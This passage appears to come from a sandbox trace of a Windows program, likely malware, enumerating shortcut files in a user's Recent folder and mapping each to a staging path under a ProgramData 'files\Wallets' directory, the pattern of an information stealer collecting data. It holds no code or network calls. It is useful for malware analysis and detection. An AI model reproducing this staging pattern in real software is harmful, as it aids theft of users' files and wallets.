lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\El226TjMPLIf1bZoRsy.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\El226TjMPLIf1bZoRsy.lnk" [0052.460] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.460] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.460] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="ENhqY-.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ENhqY-.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ENhqY-.lnk" [0052.460] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.460] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="ENhqY-.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\ENhqY-.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\ENhqY-.lnk" [0052.461] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.461] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="eWBct-R m.flv.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eWBct-R m.flv.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\eWBct-R m.flv.lnk" [0052.461] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="eWBct-R m.flv.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\eWBct-R m.flv.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\eWBct-R m.flv.lnk" [0052.461] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.461] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="fCk3.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fCk3.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fCk3.lnk" [0052.461] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="fCk3.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\fCk3.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\fCk3.lnk" [0052.461] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.461] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="FHIWnxUpcbj E.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FHIWnxUpcbj E.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FHIWnxUpcbj E.lnk" [0052.461] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="FHIWnxUpcbj E.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\FHIWnxUpcbj E.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\FHIWnxUpcbj E.lnk" [0052.461] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.461] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="fNMSDG4FE.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNMSDG4FE.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fNMSDG4FE.lnk" [0052.461] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="fNMSDG4FE.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\fNMSDG4FE.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\fNMSDG4FE.lnk" [0052.461] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.461] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="fQMrWaO.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fQMrWaO.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\fQMrWaO.lnk" [0052.461] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.461] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="fQMrWaO.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\fQMrWaO.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\fQMrWaO.lnk" [0052.461] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.461] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="FV8guEF4K3iCy2blJFrM.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FV8guEF4K3iCy2blJFrM.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FV8guEF4K3iCy2blJFrM.lnk" [0052.462] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="FV8guEF4K3iCy2blJFrM.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\FV8guEF4K3iCy2blJFrM.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\FV8guEF4K3iCy2blJFrM.lnk" [0052.462] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.462] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="gB96ZDW_.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gB96ZDW_.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gB96ZDW_.lnk" [0052.462] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="gB96ZDW_.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\gB96ZDW_.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\gB96ZDW_.lnk" [0052.462] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.462] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="gN3yqOIEDvpM0g.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gN3yqOIEDvpM0g.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gN3yqOIEDvpM0g.lnk" [0052.462] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="gN3yqOIEDvpM0g.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\gN3yqOIEDvpM0g.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\gN3yqOIEDvpM0g.lnk" [0052.462] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.462] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="gp3K.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gp3K.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gp3K.lnk" [0052.462] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\", lpString2="gp3K.lnk" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\gp3K.lnk") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent\\gp3K.lnk" [0052.462] FindNextFileW (in: hFindFile=0x58a180, lpFindFileData=0x19d4ec | out: lpFindFileData=0x19d4ec) returned 1 [0052.462] lstrcpyW (in: lpString1=0x19dbc4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\" [0052.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", lpString2="gpv5RAoAafiHE6.lnk" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gpv5RAoAafiHE6.lnk") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gpv5RAoAafiHE6.lnk" [0052.462] lstrcpyW (in: lpString1=0x19d9b8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent" [0052.462] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Windows\\Recent", lpString2="\\" | out: 